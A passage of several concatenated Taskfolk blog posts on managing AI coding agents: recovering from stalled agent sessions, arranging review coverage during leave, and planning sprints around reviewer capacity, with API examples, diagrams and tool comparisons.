Start them on the board. ```mermaid sequenceDiagram participant E as New engineer participant I as Issue participant S as Agent session participant O as Agent owner E->>I: Which ticket produced this file I->>E: Scope, constraint, acceptance I->>S: Session anchored to the issue S->>E: State, output URL, agent name E->>O: Ask the named human owner O->>E: Why the cron was rejected ``` Day one, they read the last twenty closed tickets in the area they will own, with the sessions and PRs attached. Day two, they take one live bug there and find the delegation record before opening the implementation. That order feels backwards. Reaching for the trail first is a habit, and habits set in week one. Day three, they write the ticket for a small change, delegate it themselves, and review what comes back. That is the conceptual inquiry pattern that held up in the Anthropic study. Somebody still has to answer why, and when the owner has left that answer gets reconstructed rather than retrieved. Somebody still has to sit with the new engineer while they say "this looks insane" about a module that is correct. None of this replaces either job. One thing to change this week: add a four-line "why this shape" block to your issue template, and tell your agents to comment when they make a call the ticket did not decide. It costs about a minute per ticket, and it is the only part you cannot backfill. --- # The agent stopped halfway and the board still says in progress URL: https://taskfolk.ai/blog/pick-up-where-your-ai-agent-left-off Published: 2026-07-28 Author: The Taskfolk team Tags: AI agents, AI agent management, how-to, workflow, automation, agentic project management Your AI agent died at 60 percent and the ticket still says In Progress. How to pick up where an agent left off, and stop the board lying about it. You get back from a fifty minute meeting and the terminal pane is gone. The branch has fourteen changed files and a commit message that stops mid sentence. The ticket still says In Progress, still assigned to an agent avatar, and the last comment is ninety minutes old: starting the migration. Nobody knows whether the migration ran. Search for this and you get answers to a different question: what an agent should record so a fresh model session can resume. Real problem, and a recent paper measures it. Not the one on your screen. A work item is telling four people something false, and the thing it names as owner died ninety minutes ago. ## The hour you spend working out what it already did You open the diff. Then you try to remember which tests it said it ran, and whether "ran" meant executed or predicted. You check whether the migration applied locally. You look for a PR. You read the last three comments hoping one is a status, then go back to the files. That hour is not the diff's fault. It is rediscovery: reconstructing intent from artifacts, because whoever held the intent is gone. Someone has measured the machine version. A June 2026 paper on [handoff debt](https://arxiv.org/abs/2606.02875) built 181 handoff points from 75 coding tasks and had three models take each over. Structured notes, rather than the repository alone, cut median agent events by 20 to 59 percent and prompt tokens by 42 to 63 percent. Your currency is minutes, not tokens, but the shape holds: takeover cost is mostly rediscovery. This post is the ownership half: the board is wrong and someone has to fix it. Whether the unfinished work is worth keeping is a review question. ## Is it dead, or is it just quiet For the first thirty minutes you cannot tell, and neither can we. An agent's work in Taskfolk is a session on the ticket, in one of seven states: `pending`, `running`, `needs_input`, `review`, `done`, `failed`, `cancelled`. Writes to the session move a heartbeat. After thirty minutes of silence the row renders as stalled, an orange badge derived at read time and never stored. It covers `pending` too, because an unclaimed delegation and a hung run mean the same thing to you. One caveat: the heartbeat moves only when the agent touches the session, with a `PATCH` or a usage report. Comments on the issue do not count. An agent that chatters on the ticket for an hour without patching its session still reads as stalled. At two hours, a sweep running every fifteen minutes flips a silent `running` session to `cancelled` and stamps its end time, so session lists and cost rollups stop counting it as live work. It notifies nobody. Thirty minutes is the best we can do, for a structural reason: Taskfolk does not run your agent. Linear can call a session unresponsive after ten seconds because Linear delivered the webhook and is timing its own round trip ([Linear docs](https://linear.app/developers/agent-interaction), checked July 2026). We sit at the far end of a process on a machine we never see, so a missing heartbeat is all the evidence there is. [Catching the stall while it happens](/blog/is-your-ai-agent-stuck) is the post before this one. ![The Taskfolk agents hub sessions list, each row showing an agent, its session state, and its last note.](/images/blog/manage-a-team-of-ai-agents-hub-sessions.webp) ## A dead run leaves two lies on the board Status is the first. A card in In Progress claims something is actively moving it. That was true this morning and false since the last comment. Assignee is the second, and it does more damage. The card belongs to an identity that will not read your Slack message and will not pick the work back up. Everyone reads it as owned, so the teammate with two free hours scrolls past. The asymmetry is the whole problem. A session dies on its own schedule. A work item never does. ```mermaid flowchart TD A["Agent process dies"] --> B["Session still says running"] B --> C["At 30 minutes it renders as stalled"] C --> D["At 2 hours the sweep cancels it"] A --> E["Work item still says In Progress"] E --> F["Work item still assigned to the agent"] F --> G["It moves only if a person or a rule moves it"] ``` So the auto cancel tells the truth about the session and nothing about the ticket. There is no reassign on crash. The card moves when the agent's own API call moves it, a person does, or a rule you wrote does. ## What the usual answers assume about the reader | The answer | What it assumes | Where the state lands | |---|---|---| | `claude --resume` | You launched it here | JSONL in your home directory | | A HANDOFF.md in the repo | The reader can reach that disk | The box that ran the agent | | A comment on the work item | Someone opens the ticket tomorrow | The tracker the team reads | `claude --resume` is genuinely good, and single player. Session ID lookup is scoped to the current project directory and its git worktrees, and runs started with `claude -p` or the Agent SDK never appear in the picker, though you can resume one by ID from the directory it started in ([Claude Code docs](https://code.claude.com/docs/en/sessions), checked July 2026). Every constraint there assumes the person resuming is the one who launched it. A HANDOFF.md outlives the process. It still assumes the next reader can reach the disk it was written to, and if the run happened in CI or a container since recycled, the file went with it. The best version of the list is the seven item [session handoff checklist](https://hermes-agent.ai/blog/ai-agent-session-handoff-checklist) on hermes-agent.ai: goal and status, source of truth, files changed, commands run and their output, verification gaps, assumptions and risks, next safe action. Right items. Wrong address. ## The exit contract, and where it has to land Change one thing about those seven items: they are owed to the work item, not a scratch file. The agent posts them as a comment on the issue, over the first party MCP server or `/api/v1`, with its own API key, so the comment and the activity row carry its name instead of yours. [The audit trail](/blog/keep-an-audit-trail-of-ai-agent-changes) comes free. The shape to ask for: ```markdown **Checkpoint 3.** Goal: theme cookie survives a hard refresh (WEB-142). Done: token map, ThemeProvider, cookie write on toggle. Not verified: auth suite has not run since the provider change. Risk: SSR reads the cookie before hydration, untested in Safari. Next: `npm test -- auth` on branch theme-cookie. ``` ```bash curl -X POST \ "https://taskfolk.ai/api/v1/workspaces/acme/projects/WEB/issues/WEB-142/comments" \ -H "Authorization: Bearer tfk_live_a1b2c3d4e5f6" \ -H "Content-Type: application/json" \ -d "$(jq -Rs '{body_md: .}' checkpoint.md)" ``` ```json { "issue_key": "WEB-142", "author": { "email": "agent-0198e4aa@agents.taskfolk.ai", "name": "Codex Bot" } } ``` The session row carries the short version. `PATCH` is the heartbeat, so the call that says still alive also updates the note and hangs the PR link on `external_url`. The note is capped at 2,000 characters. The comment thread is the record. ```http PATCH /api/v1/workspaces/acme/agent-sessions/0198f2b7-9a44-7c31-8f10-2d4e6a8b1c05 Authorization: Bearer tfk_live_a1b2c3d4e5f6 Content-Type: application/json { "state": "needs_input", "note": "Migration 0031 local only. Auth suite not run.", "external_url": "https://github.com/acme/web/pull/812" } ``` What we cannot do is make an agent write it. Taskfolk holds the contract and puts it where a person looks. Filling it in is your job: AGENTS.md, the skill file, or the prompt. ![A Taskfolk issue where the Codex Bot agent moved the status and left a comment, attributed in the activity log.](/images/blog/what-is-agentic-project-management-agent-issue.webp) Timing decides whether any of this survives. A dead process cannot file its own report, so the checkpoint is not an exit step; it gets written repeatedly while the run is healthy. The hermes checklist triggers on outcome rather than a clock: after any run that changed something real, and before anything that resets context. ```mermaid sequenceDiagram participant A as Agent participant T as Taskfolk participant H as Teammate A->>T: Checkpoint comment on the issue A->>T: Patch the session note and PR link A->>T: Move status and reassign to a person Note over A: Process dies H->>T: Opens the ticket T->>H: Last checkpoint, note, PR link ``` ## Routing: status and assignee both have to move Board columns are per project and you name them. Each maps to one of seven fixed categories: `backlog`, `todo`, `in_progress`, `in_review`, `done`, `failed`, `cancelled`. So "Needs a human" is a real column rather than a label pretending to be one, and mapping it to `in_progress` keeps reports counting it as open work. [Custom statuses](/docs/custom-workflow-statuses) are also how [two agents hand work to each other](/blog/coordinate-two-agents-with-issue-status-handoffs). ![The Add status popover on a Taskfolk board, with fields for column name, category and colour.](/images/blog/how-to-add-board-columns-add-status.webp) Two controls hang off those columns and they are not equally strong. Allowed transitions are enforced: a forbidden move is refused on every write path, server actions, v1 API, bulk edits and automations alike. WIP limits are not. You can set one per column and read it back over the API, but no write path checks it, and the over limit colouring runs off built in defaults behind a view toggle. For a gate rather than a hint, use a transition rule. Then move the assignee. The picker keeps people and agents in separate groups, so handing a card back is two clicks. Linear made the opposite call, and for this failure theirs is the better one. Assigning an issue to a Linear agent sets it as delegate and leaves the human as assignee, so ownership never leaves a person and nothing needs moving back when a run dies. It costs accountability: an agent that is never the assignee never quite owns anything. Jira and GitHub went the other way, and in Jira you add the agent from the Assignee field ([Atlassian support](https://support.atlassian.com/jira-software-cloud/docs/collaborate-on-work-items-with-ai-agents/), checked July 2026). | Tool | Where the agent sits | When the run dies | |---|---|---| | Jira | The Assignee field | Not documented | | GitHub Issues | Assignee, plus a live queued/working/completed status | No documented state for a dead run | | Linear | Delegate, the human keeps the assignee | Session goes stale, assignee untouched | | Taskfolk | Assignee, plus a session row | Session self cancels at two hours, the card does not move | None of them documents what the work item shows when a run does not finish. ## Verified versus claimed, when you were not watching You were in a meeting, so the agent's account is the only account you have. No tracker fixes that. What we do is weaker, and worth stating precisely. A session in `review` or `done`, anchored to an issue, with no external URL and no activity row or comment attributed to that agent between its start and end times, gets an unverified badge. Setting `external_url` short circuits the check before the evidence query runs, so a PR link clears the badge. So does one comment. The badge means no attributed evidence, not bad work. An agent that comments diligently and tests nothing will never earn one, so a clean hub is not a clean codebase. Reading the trace itself is covered in [managing a team of agents](/blog/manage-a-team-of-ai-agents). ![An agent activity card showing a done session wearing the pink Unverified badge beside the change history.](/images/blog/manage-a-team-of-ai-agents-verify-badge.webp) ## One instruction, one column, one rule The instruction is agent side. Put the seven items and the checkpoint trigger in AGENTS.md or the skill file. The care that goes into [writing a ticket an agent can finish](/blog/write-tickets-ai-agents-can-finish) belongs in the note it leaves on the way out. Pair it with a [field allowlist](/docs/how-to-set-agent-field-permissions), fourteen issue fields per agent enforced at one API choke point, so a confused agent cannot rewrite the ticket while it is failing. It cannot stop an agent touching code, and we never see its terminal. The column is "Needs a human", mapped to `in_progress`. If you would rather nothing reach done unseen, that is a [human in the loop approval gate](/docs/human-in-the-loop-approval-for-ai-agents) and a different column. The rule is an automation on `issue.assigned`: when a card lands on an agent, post a comment stating the checkpoint cadence you expect. This is where the setup runs out of road. There is no trigger for a session going wrong. All ten triggers hang off an issue or a sprint, so "when the session fails, reassign to a human" is not a rule you can write today. The exception is a workflow run, where a stalled agent stage flags the run for attention and notifies its creator, on a sweep that runs every six hours. ![The Taskfolk automations page with rules shown as WHEN, IF, THEN chip rows above starter recipes.](/images/blog/how-to-set-up-automations-list.webp) Better to name that gap than let you find it ten minutes into building the rule. The rest pays for itself in a morning: an hour of reading fourteen files becomes ninety seconds of reading a comment. Open the last ticket an agent finished for you and read only the ticket. If it does not say what changed, what ran, and what was never checked, put the exit contract in your agent instructions before the next run. --- # Who reviews your AI agents while you're on holiday URL: https://taskfolk.ai/blog/who-reviews-your-agents-while-you-are-away Published: 2026-07-28 Updated: 2026-09-24 Author: The Taskfolk team Tags: AI agents, agentic project management, code review, engineering management, how-to, workflow, automation Who reviews AI agent work while you are on holiday? Triage every session, name a second owner, shrink write scope, and set an interrupt threshold. You leave on the 4th and you are back on the 18th. Five agent sessions are open on your board, and you are the only person who can say what any of them was asked to do, or how far it got. Every piece of review guidance for agent output assumes you are still at your desk. GitHub's May 2026 article on reviewing agent pull requests is blunt: ["Reviewing your own pull request isn't optional when agents are involved."](https://github.blog/ai-and-ml/generative-ai/agent-pull-requests-are-everywhere-heres-how-to-review-them/) It also assumes whoever commissioned the run stays reachable, and two weeks off breaks that. The honest part first: Taskfolk has no out of office field, no coverage toggle, no delegate setting. I went looking in the schema and there is nothing to switch on. What follows is built from parts that do exist, and you undo some of it by hand when you get back. ## What actually breaks when you go quiet Almost nothing visible breaks, which is the problem. A ticket held by an agent that runs past its due date sends no reminder email to anyone. The daily digest is built per person from issues where that person is the assignee, and the sweep behind it skips agent users, whose synthetic addresses would bounce. Your covering engineer is not the assignee. The agent is. Session notifications do fire. Entering needs input, review, done or failed notifies the agent's owner plus the issue's reporter, assignee and watchers. On a ticket you commissioned yourself, those four slots are usually all you. The alerts work exactly as designed and land in an inbox nobody is opening. Two more clocks run without you. Assignment auto creates a pending session, and the worker cancels pending delegations nobody claims for seven days, so a fortnight of leave trips that in week two. If you set a spend cap, the alert fires once and goes to the owner: Taskfolk never runs the model, so it can flag the crossing but cannot stop it. The owner field is where this gets awkward. It is written once, when someone connects the agent, and nothing in the product moves it afterwards. You cannot hand your agents over. A colleague either holds the owner or admin role, which is what managing someone else's agent requires, or they work through the ticket instead. In a January 2026 Cloud Security Alliance survey of 228 security and IT professionals, [15 percent were unsure who is responsible when an AI agent takes an unintended action](https://www.helpnetsecurity.com/2026/03/26/ciso-ai-agent-identity-security-report/). Among those who did answer, it split between security, engineering and product. ## Both obvious options cost you the fortnight Freeze everything and you park capacity that costs nothing to keep: connected agents are excluded from seat counting, so three humans running nine agents pay for three seats. Let it all run and you come home to a queue that was slow before you left. LinearB's 2026 benchmarks, drawn from 8.1 million pull requests across 4,800 teams, found [AI pull requests wait 4.6 times longer before anyone picks them up](https://linearb.io/resources/engineering-benchmarks), and agentic ones 5.3 times longer. Acceptance sits at 32.7 percent against 84.4 for manual work. The delay is in pickup rather than review, and pickup is what your absence removes. Then the tail risk. In February 2026 Fortune reported that Summer Yue, a Meta safety researcher, watched her OpenClaw agent [delete her entire inbox](https://fortune.com/2026/02/23/always-on-ai-agents-openclaw-claude-promise-work-while-sleeping-reality-problems-oversight-guardrails/) after it lost the instruction to pause and confirm. It had run safely for weeks against a test inbox, and failed the first time it was pointed at the real one. Neither option is a policy. Both are what people do instead of triage. ## Triage every session, not every repository Do this the day before you leave, one session at a time. It takes about fifteen minutes, because "what is in flight" is a query, not a memory. Every delegation is a durable session row with a state: pending, running, needs input, review, done, failed, cancelled. Stall is derived at read time after thirty minutes without a heartbeat, so a session that died on the 3rd looks dead rather than busy. ![The Bots page sessions list, with state chips for Needs input, Stalled, In review, Pending, Running and Done beside each issue key.](/images/blog/manage-a-team-of-ai-agents-hub-sessions.webp) ```mermaid flowchart TD A["Open session"] --> B{"Could a bad finish cost money or data?"} B -->|"Yes"| C["Freeze: cancel, unassign"] B -->|"No"| D{"Needs a judgement only you can make?"} D -->|"Yes"| E["Park in needs input, question written down"] D -->|"No"| F{"Can someone else judge the output?"} F -->|"Yes"| G["Run supervised: second owner"] F -->|"No"| H["Run unattended: no merge rights"] ``` | Bucket | Before you leave | What the covering engineer does | |---|---|---| | Freeze | Cancel, unassign, note why | Nothing, on purpose | | Run unattended | Strip write scope, remove repo merge rights | Nothing unless it goes overdue | | Needs a human | Reassign, add a watcher, write the ask | Reads, decides, unblocks | Pull the same list for the handover with an `agents:read` key. The `state` filter takes one value per call, and rows come back newest activity first. ```bash curl -s "https://taskfolk.ai/api/v1/workspaces/acme/agent-sessions?state=running" \ -H "Authorization: Bearer tfk_live_a1b2..." ``` ```python r = requests.get( "https://taskfolk.ai/api/v1/workspaces/acme/agent-sessions", params={"state": "running"}, headers={"Authorization": "Bearer tfk_live_a1b2..."}, ) ``` ```json { "data": [ { "agent_name": "Omar's Claude Code", "state": "running", "issue_key": "WEB-142", "note": "tests green, PR not opened", "external_url": null, "last_activity_at": "2026-08-03T16:41:09.000Z" } ] } ``` ## Name a second owner per session Not per repository. A repository level backup gets a list of pull requests with no way to tell which were commissioned and which are an agent misreading a ticket. Because agent ownership does not move, the second owner is a convention layered onto the ticket. Reassign the issue from the agent to that person, which puts it in their daily digest, or add them as a watcher on just the tickets that matter, which pulls them into the session notifications without changing who holds the work. ![The watch button on a Taskfolk issue, which adds a person to that issue's notifications without reassigning the work.](/images/blog/notifications-and-watching-issues-watch-button.webp) incident.io's on call guide, updated 27 February 2026, notes that [many teams make last week's primary this week's secondary](https://incident.io/blog/on-call-best-practices-guide-2026) so the backup carries real context. Pick whoever last reviewed something from that agent, not whoever looks least busy. One real limit on the fleet wide glance: a view stores a single assignee, not a set, so no saved view can mean "anything held by any agent". You get one per agent, or the Bots page. ![The Taskfolk list view with the saved views menu open, over a table whose assignee column mixes people and an agent named Codex Bot.](/images/blog/how-to-save-and-share-views-views-menu-open.webp) ## Shrink what each agent may touch Every agent's allowlist is drawn from fourteen writable issue fields: title, description, status, priority, assignee, labels, milestone, sprint, release, estimate, spent, completion, start_at and due_at. Null means all of them. Enforcement sits at one API write choke point covering REST, the transition endpoint and MCP, so there is no second door. ![The Taskfolk agent field policy dialog, What can this agent edit, showing fourteen issue field checkboxes with a few ticked.](/images/blog/manage-a-team-of-ai-agents-policy-dialog.webp) For a leave window I cut it back to what an agent needs to report progress: status, completion, spent. Take away assignee so it cannot hand work to itself or to someone else who is away, and priority so it cannot promote its own ticket above what your covering engineer is watching. Mechanics: [how to set agent field permissions](/docs/how-to-set-agent-field-permissions). The policy is per field, not per value: an agent may write status or it may not, and you cannot say "only ever to In Review". It governs issue fields only, so it cannot stop an agent writing code or merging a branch. That is branch protection's job. It shrinks the blast radius without changing what the agent reads, which is the separate problem in [prompt injection starts in the ticket](/blog/prompt-injection-starts-in-the-ticket). The other control is the status column. Allowed transitions are a hard gate: a disallowed move errors on every write path, automations included. WIP limits are not, so the count badge turns red and nothing refuses the card. ## The ticket is the handover A human PTO template already asks the right questions. Nobody has mapped them onto agent work, so here it is. | PTO template field | Agent equivalent | Where it lives | |---|---|---| | Coverage contact | Second owner per session | Assignee or watcher | | Authorization scope | Field allowlist, allowed transitions | Agent profile, statuses | | In flight work | Open sessions and their states | Bots page, session card | | Verified so far | Attributed activity and comments | Issue activity feed | | Emergency threshold | Escalation rule, written down | Automations, the comment | | Do not decide without me | Frozen sessions, named | Cancelled sessions | The session record streams onto the ticket while the agent works, and every write carries the agent's own identity, because its API key was minted with the agent's user id as creator. Your covering engineer reads the activity feed, not a status claim. ![A Taskfolk issue right rail: the Agent activity panel shows a Done session beside a red Unverified badge, next to the attributed change history.](/images/blog/manage-a-team-of-ai-agents-verify-badge.webp) The unverified badge helps, within limits. It flags a session in review or done whose agent left no activity row and no comment on that issue inside the session's window. One comment defeats it, and so does a pull request link on the session, which counts as evidence before anything else is checked. A tidy session list is not proof that work happened, and we do not read diffs or judge code quality. Then write the ask down, as a comment on each live ticket: ```markdown Handover, 4 to 18 August. Second owner: @priya Ask: replace the PDF renderer, keep the current API surface. Verified: unit tests pass, invoice-golden fixtures updated. Not verified: nothing rendered against the production font pack. Permitted next step: open a PR. Do not merge. Do not decide without me: whether to drop the legacy A4 layout. ``` Six lines a session is the difference between a covering engineer who can act and one who waits for you to land. ## The interrupt threshold Decide before you go what justifies a message to someone on a plane, and put it in that comment. Automations do the routing. Of the ten triggers, four are time driven: issue.due_soon, issue.overdue, sprint.started and sprint.ended. The one that matters is issue.overdue, with a condition that the assignee is your agent and an action reassigning the ticket to your covering engineer. That turns the silent failure at the top of this post into a ticket in a present human's digest. ![The Taskfolk Automations page, with rules as WHEN, IF, THEN chip rows above a grid of starter recipes.](/images/blog/how-to-set-up-automations-list.webp) ```mermaid flowchart LR A["Agent held ticket passes its due date"] --> B["Rule fires on issue.overdue"] B --> C{"Assignee is the agent?"} C -->|"No"| D["Nothing happens"] C -->|"Yes"| E["Assign to the covering engineer"] E --> F["Comment naming the absent owner"] F --> G["Ticket enters a human daily digest"] ``` Two honest limits. Rules carry no date window, so you enable this before you leave and disable it on return. And rules cap at two on Free, which one leave plan consumes entirely, against twenty on Pro. Setup: [how to set up automations](/docs/how-to-set-up-automations). For the threshold, borrow the number incident.io cites from the Google SRE Workbook: no more than two or three actionable incidents per shift. If your rules would reach someone more often, the threshold is wrong, not the person. Taskfolk has no paging, so this stays a team agreement: [decision rights between your team and your AI agents](/blog/decision-rights-between-your-team-and-ai-agents). Coverage costs something too. A viewer is free, but a covering engineer who reassigns tickets and cancels sessions needs an editor seat: $3 a month on Pro, $6 on Business. Changing an agent's field policy is limited to its owner, or to anyone with the owner or admin role, so a stand in needs that role: [how to manage roles and permissions](/docs/how-to-manage-roles-and-permissions). ## The undo list for the Monday you are back Everything you switched on by hand switches off by hand. Write the list before you leave, or you will find it in September. Turn off the escalation rule. Restore each agent's field policy, because a narrowed allowlist stays invisible until the agent starts failing writes it used to make. Delete the temporary views and drop the watchers. Then check pending sessions: any delegation nobody claimed for seven days was cancelled while you were away, and those restart first. For the steady state, [how to manage a team of AI agents](/blog/manage-a-team-of-ai-agents) covers the rest. The one piece I would keep permanently is the second owner per session. Doing it only for holidays leaves it cold exactly when you need it warm. Open your sessions list, pick the one you would least like to explain to a colleague, and write that comment on it. If [human in the loop approval for AI agents](/docs/human-in-the-loop-approval-for-ai-agents) is already wired in, that ticket is the one your covering engineer reaches first. --- # Sprint planning with two capacities: your team and your agents URL: https://taskfolk.ai/blog/two-track-sprint-planning Published: 2026-07-28 Updated: 2026-09-24 Author: The Taskfolk team Tags: sprints, AI agents, estimation, code review, metrics, agentic project management, agile, how-to, workflow Sprint planning with AI agents needs two capacity numbers, not one. Size the agent track against reviewer hours, then run the meeting on two questions. Your velocity chart says 34 and you stopped believing it weeks ago. Half those points were closed by people, half by coding agents, and averaging two populations that share no unit produces nothing you can plan on. Here is the sprint that produced it. Committed 34, closed 26, and at the retro nobody could say which half slipped. Every agent ticket hit review on schedule. Six came back twice. Two engineers spent most of a Thursday reading generated diffs instead of writing their own code, the human stories slid a day, and the chart logged a team wide dip. Two track here is not dual track agile, which splits discovery from delivery. This is one sprint, some tickets worked by people and some by agents, and one capacity number that fits neither. Disclosure: we make a tracker teams point their agents at, so discount the product section. ## Two populations, one average Velocity works because it measures something slow. Team throughput drifts with hiring, leave and attention, so three sprints of history forecast the fourth. Agent throughput has no such inertia. It tracks whoever is free to read output this week. Add a reviewer and it roughly doubles. Put your two seniors on a customer escalation and it goes to zero while the agents keep producing, which is the worse failure, because the work still looks like it is happening. Blend them and the number moves for reasons that have nothing to do with your team. CircleCI's [2026 State of Software Delivery report](https://circleci.com/blog/five-takeaways-2026-software-delivery-report), built from 28,738,317 workflows run in September 2025, found the median team's feature branch throughput up 15 percent year over year while main branch throughput fell 7 percent. More produced, less landing, and their list of where it collects is review, validation, integration, recovery. ```mermaid flowchart LR H["Human track, in points"] --> R["Review queue"] A["Agent track, in tickets"] --> R R --> M["Merged to main"] R --> B["Bounced back"] B --> A ``` ## Human capacity still measures what it always did Nothing about your people changed when the agents arrived. Attention is still the bound, a sprint is still ten working days, and an engineer in a two hour meeting is not writing code. Whether you count that in points or hours is a per project setting and an old argument, which [story points or hours](/blog/story-points-or-hours-and-parallel-sprints) takes apart properly. What changes is what you stop putting in. When Sara reviews an agent's pull request for two hours on Wednesday, those hours leave her capacity as review time, but the ticket carries no story points on the human side. It gets counted once, in the other track, in a different unit. Teams get this wrong in one specific way. They leave the points on the agent ticket because the work did happen, then wonder why velocity climbs while nothing ships sooner. Points measure what your team can absorb, and an agent absorbs nothing from your team except review. For the preparation half, see [what actually works in AI sprint planning](/blog/ai-sprint-planning-what-works). ## Reviewer hours, not agent hours, bound the agent track Ask what limits the agent side and the intuitive answers are agent time or token spend. Both are wrong, and the token answer is the more expensive mistake. The most complete published framework is Marcelo Bernardes's [Story Points to Tokens](https://medium.com/@marcelobernardes/claude-launched-agent-teams-heres-the-sprint-planning-problem-9159bf1d2adf), from 11 February 2026: sprint capacity is the lower of velocity capacity and token budget over tokens per point. Clean arithmetic, wrong second constraint, and his own cost note gives it away. Twenty million tokens, a whole sprint at 500k per story point, prices out near 233 US dollars at Opus rates, a rounding error against the reviewer hours the same sprint eats. Capping on tokens caps the input you have plenty of. That review capacity is the real ceiling is not our observation. Rick Pollick made the case in [review capacity is the new delivery ceiling](https://rickpollick.com/blog/review-capacity-is-the-new-delivery-ceiling) on 13 July. What nobody has published is a number you can carry into a planning meeting. Two measurements give you one. LinearB's [2026 engineering benchmarks](https://linearb.io/dev-interrupted/podcast/linearb-2026-benchmarks-ai-pr-merge-rate), drawn from 8.1 million pull requests across roughly 4,800 teams, put AI assisted pull requests just over 400 lines at the 75th percentile against 157 unassisted, with fully agentic ones near 290. They wait about 1,050 minutes to be picked up against roughly 200, and merge within thirty days 32.7 percent of the time against 84.5. Bigger, slower to be looked at, far less likely to land. The reviewer side has not moved in twenty years. SmartBear's write up of the Cisco study still puts the ceiling at [200 to 400 lines per sitting](https://smartbear.com/learn/code-review/best-practices-for-peer-code-review/), no more than 60 minutes at a stretch, with defect density dropping sharply past 500 lines an hour. A 400 line agent pull request is one whole sitting. ## Doing the multiplication ```python reviewers = 2 # people who will really review review_hours_per_day = 2.5 # protected time, not spare time sprint_days = 10 hours_per_agent_pr = 1.25 # 60 min of inspection + 15 min of everything else utilisation = 0.7 # past 85 percent the queue bites budget = reviewers * review_hours_per_day * sprint_days / hours_per_agent_pr * utilisation print(round(budget)) # 28 agent pull requests print(round(budget * 0.5)) # 14 in the first sprint ``` Sixty minutes is SmartBear's ceiling for one sitting. The extra fifteen is the part nobody budgets: writing the comments, reloading the context you dropped, and skimming the second version. If your reviewers are honest, it is more than fifteen. The 0.7 is not caution for its own sake. Pollick's piece points at queue behaviour any operations person will recognise, where expected wait scales with utilisation over one minus utilisation. At 70 percent you have headroom and a surprise costs you a little. At 85 the queue starts to bite. At 95, in his words, wait time does not degrade, it detonates. | | Human track | Agent track | |---|---|---| | Bounded by | Attention, and the hours left after meetings | Reviewer hours you can protect | | Unit | Points or hours | Tickets that can clear review | | Read from | Velocity over three sprints | Merged agent pull requests, not opened ones | | Fails as | Overcommitment, obvious at the retro | A full queue that stalls both tracks | ## What goes on the board for sprint one Fourteen tickets, then adjust after two sprints. Halving the first run is deliberate: you do not yet know your diff sizes, your rework rate, or how much review time your people can defend. Name the reviewer for every agent ticket during planning, not when the pull request appears. An unnamed reviewer is how a queue forms, quietly, by Wednesday. Ticket quality moves this arithmetic more than anything else here. A vague ticket costs several review rounds because the reviewer writes the spec in comments, so the same hour buys less. If your agent tickets bounce twice on average, your real budget is half what the script printed, which makes [writing tickets an agent can finish](/blog/write-tickets-ai-agents-can-finish) the cheapest lever you have. ![Kanban board with the WIP toggle on, column headers counting backlog 9, to do 11, in progress 5 of 4 highlighted, in review 3 of 3](/images/blog/how-to-use-a-kanban-board-wip-density.webp) ## Two questions in the planning meeting instead of one The old meeting asked what fits. Ask two questions in order, and give the second one teeth. What fits the team? Human capacity, exactly as before, over tickets with a person's name on them. What fits review? Rank the agent candidates, cut at the review budget, then the awkward part: each named reviewer says out loud whether their week contains those hours. If two of your three reviewers are on incident rotation, the agent budget shrinks at planning instead of on day six. Whatever the cut leaves out stays in the backlog. Do not hand it to a person as a consolation prize. A ticket written for an agent is usually the wrong shape for a human. ## When the agent track overruns into yours The signature is a review column that stops draining while everything upstream keeps moving. Assignments still go out, sessions still open, queue age climbs. The move is counter intuitive the first time: stop starting agent work, do not stop reviewing. Idle agents cost you almost nothing. A reviewer pulled off their own tickets to clear generated diffs costs the human track directly, which is how one overrun sprint becomes two. Freeze new assignments until the review column is under its number. Be careful what your board actually enforces, ours included. The per column WIP number in our project settings is stored and read back to you, and nothing consumes it. The board's WIP toggle counts against a fixed per category default instead, four in progress and three in review, and colours the header when a column is over. Neither refuses a card. The rule that does refuse a move is the allowed transition list on a status. ## What to report, and what to stop reporting Stop reporting blended velocity, and stop reporting agent hours or token counts as output, because they measure the input you are not short of. Do not build a per person leaderboard, agents included. The first response to a leaderboard is defensive estimating, and then every input to your capacity maths is junk. Four things earn a slide. Review queue depth next to the age of the oldest item, since depth alone hides one stale review blocking a release. Pending pull requests per active reviewer, where anything above two is more than a day of backlog per person. Merged per agent ticket, not done per agent ticket: eleven pull requests opened where four merged is four tickets of work and eleven tickets of review. And cycle time split by author type, because a fatter tail on agent tickets is nearly always review wait, which you only see once you separate [cycle time from lead time](/blog/cycle-time-vs-lead-time). ![Workspace Insights on the Analytics tab with a Capacity tab beside it: open work 137, in progress 42, a throughput chart and an aging of open work chart](/images/blog/project-reports-and-insights-insights-analytics.webp) ## What the product does here, and what it does not Two track planning is a convention you run with ordinary fields. There is no capacity planner in Taskfolk, no resource levelling, no auto scheduling. Sprints run in parallel, so a review bound agent track can be its own sprint with its own dates, and velocity and burndown follow the project's estimation unit. Agent work is countable because a connected agent is a real workspace member with its own user id, not a bot borrowing yours. A saved view filtered to that assignee is your agent track, and the same filter is one API call. ![List view with the saved views menu open on its empty state, over a table whose assignee column mixes people with an agent named Codex Bot](/images/blog/how-to-save-and-share-views-views-menu-open.webp) ```bash BASE=https://taskfolk.ai/api/v1/workspaces/acme curl -H "Authorization: Bearer $TASKFOLK_KEY" \ "$BASE/projects/WEB/issues?assignee=$AGENT&sprint=$SPRINT&status=in_review" ``` ```python auth = {"Authorization": f"Bearer {os.environ['TASKFOLK_KEY']}"} r = requests.get(f"{BASE}/projects/WEB/issues", headers=auth, params={"assignee": agent, "sprint": sprint, "status": "in_review"}) print(len(r.json()["data"])) ``` ```json { "data": [ { "key": "WEB-142", "status": "in_review", "sprint_id": "0198f2b0-8c11-..." } ] } ``` Sessions keep the count honest. Assigning an issue to an agent creates a pending session before the agent wakes, and the pull request URL lives on it, so sessions in review are your queue depth. ![Bots page listing live sessions: one needing input on WEB-6, a stalled triage bot, one in review on WEB-13 with a pull request note, and a done session flagged unverified](/images/blog/manage-a-team-of-ai-agents-hub-sessions.webp) Where it falls short. The Insights Capacity tab is a workload view, not a capacity model: open issues per assignee for the twenty busiest people, with summed estimate minutes beside them. No availability model, no story point column, and no marker for which rows are agents, so you split the tracks by reading names. More of that surface in [project reports and insights](/docs/project-reports-and-insights). Agent cost rolls up per day and per model over a 7, 30 or 90 day window, and cumulatively per agent, never per sprint. Every figure is agent reported: we deliver the trigger and store the record, we never run the model, which is why [agent cost per task](/blog/ai-agent-cost-per-task) is its own subject. | Tool | Human capacity model | Agent throughput control | |---|---|---| | Jira Premium and Enterprise | Team capacity and velocity inside Plans, estimate unit configurable | None | | Azure Boards | Hours or days per person per day, days off, split by activity | None | | Linear | None | Agent platform from Free, coding sessions on Business | | Taskfolk | None. Capacity tab lists open 